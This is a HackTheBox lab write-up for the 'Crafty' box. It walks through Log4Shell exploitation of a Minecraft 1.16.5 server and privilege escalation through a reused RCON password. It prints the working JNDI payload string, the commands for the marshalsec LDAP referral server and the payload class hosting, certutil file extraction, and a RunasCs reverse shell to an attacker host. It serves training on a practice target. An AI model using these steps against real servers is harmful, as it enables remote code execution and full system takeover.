// HackTheBox

Crafty

Log4Shell (CVE-2021-44228) via Minecraft chat → RCON password reused as local Administrator password

HackTheBoxEasyWindows Jul 20, 2026 5 min read

Recon

An nmap -sV -sC scan of the top-1000 ports showed only 80/tcp. A default scan finding a single web port on a box themed around a game server is a hint to look wider, so a full port sweep (-p-) follows — and it turns up the real second service, 25565/tcp:

Port Service
80 HTTP (IIS 10.0, “Crafty - Official Website”, Minecraft server fan site)
25565 Minecraft

25565 is Minecraft’s default port. A hand-rolled server-list-ping (exploit/mc_ping.rb, a raw-socket implementation of the Minecraft status handshake) asks the server to identify itself and gets back version 1.16.5 / protocol 754. That version is squarely in the range that shipped a vulnerable log4j, so this is a Log4Shell (CVE-2021-44228) candidate — the thread to pull. Log4Shell is a flaw in the log4j logging library where any attacker-controlled string that gets logged can contain a ${jndi:ldap://...} lookup, which makes the server reach out over JNDI/LDAP and load a remote Java class. A Minecraft server logs player chat, so chat is a delivery path straight into the logger.

Foothold — Log4Shell (CVE-2021-44228) via Minecraft chat

The exploit chain is: get the server to log our ${jndi:...} string → it queries our LDAP server → our LDAP server refers it to our HTTP server → it downloads and runs our malicious Java class. None of the required tooling (java, marshalsec, mcstatus) is preinstalled, so it all has to be assembled first. The container has internet egress, which makes that quick.

1. Build the tooling

Install a JDK and Maven, then clone and build marshalsec — a toolkit that includes an LDAP referral server, the component that will redirect the victim’s JNDI lookup to our HTTP server. marshalsec only needs a modern JDK to run; its JDK version is unrelated to the target’s:

$ apt-get install openjdk-17-jdk-headless maven
$ git clone https://github.com/mbechler/marshalsec
$ mvn clean package -DskipTests

That produces marshalsec-0.0.3-SNAPSHOT-all.jar.

2. Compile the payload class

Exploit.java is the class the target will fetch and execute — a reverse-shell payload that picks cmd.exe or /bin/sh based on the OS it lands on. It’s compiled targeting Java 8 bytecode so it will load on the presumably-old JRE bundled with the Minecraft server (a newer class-file version would be rejected by an older JVM):

$ javac --release 8 Exploit.java

3. Serve the class over HTTP

A plain HTTP server runs in the directory containing Exploit.class, so the target can download it once the LDAP referral points there:

$ ruby -run -e httpd . -p 8000

4. Start the LDAP referral server

marshalsec’s LDAPRefServer listens on 1389 and answers JNDI lookups with a referral to our HTTP-hosted class. The #Exploit fragment names the class to load:

$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<LHOST>:8000/#Exploit"

5. Deliver the JNDI string over Minecraft chat

With no Minecraft client or mcstatus available, a minimal Minecraft protocol client is hand-rolled (exploit/mc_log4shell.rb) that performs the handshake, login, and chat. Minecraft usernames are capped at 16 characters — too short to hold a JNDI string — so the client logs in with an ordinary short username and then sends the payload as a chat message instead:

${jndi:ldap://<LHOST>:1389/a}

Two protocol details have to be handled for the chat to land: the server’s Set Compression packet (once compression is enabled, a Data Length varint is inserted before the packet ID, changing the framing), and the initial burst of Play-state setup packets, which must be drained before sending chat — otherwise the framing and timing get confused.

6. Trigger and catch the shell

The server’s log4j logs the chat line, performs the JNDI lookup against our LDAP server, gets referred to our HTTP server, fetches Exploit.class, and runs it. The reverse shell lands as crafty\svc_minecraft.

Privilege Escalation — RCON password reused as local Administrator password

Exploring svc_minecraft’s files turns up a custom server plugin at C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar. There’s no file-upload channel, but one isn’t needed: certutil -encode base64-encodes the JAR on the target, and type prints that encoding over the reverse shell to be copied off and decoded locally:

$ certutil -encode playercounter-1.0-SNAPSHOT.jar playercounter.b64
$ type playercounter.b64

Decompiling the JAR locally with javap -c -p reveals that the plugin’s onEnable() method hardcodes an RCON connection (RCON is Minecraft’s remote-console protocol):

new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes())

The interesting part isn’t RCON at all — that same string, s67u84zKq8IXw, is also the local Administrator password (credential reuse). To use it, RunasCs.exe (from the antonioCoco/RunasCs release) is fetched onto the target via Invoke-WebRequest from our HTTP server. RunasCs runs a command as another user given that user’s credentials; here it launches a reverse shell as Administrator:

$ RunasCs.exe Administrator s67u84zKq8IXw cmd.exe -r <LHOST>:9002

That gives a reverse shell as crafty\administrator directly. No SeImpersonate-style Potato technique was needed — whoami /all as svc_minecraft showed no useful privileges, so this credential-reuse path was the only route.

Key Takeaways

  • No mcstatus/Minecraft-client/marshalsec tooling was preinstalled in this environment for game-protocol or JNDI work — all of it (JDK, maven, marshalsec build, a from-scratch Minecraft protocol client) had to be assembled ad hoc. apt-get install openjdk-17-jdk-headless maven and building marshalsec from source worked fine and took under a minute; don’t assume a missing tool blocks the box, building the minimal piece needed is often fast.
  • Minecraft usernames are capped at 16 characters — too short for most JNDI payload strings. Chat messages (256 char cap) are the more reliable Log4Shell delivery field on this game protocol specifically.
  • The LDAP referral server (marshalsec) only needs to run under a modern JDK; the --release 8-targeted bytecode requirement applies only to the payload .class actually loaded by the target’s (old) JVM.
  • Hardcoded service credentials (an RCON password baked into a plugin JAR) are a recurring privesc/lateral-move vector on Minecraft-server-themed boxes — always decompile any custom plugin JARs found, not just read their strings.
← All writeups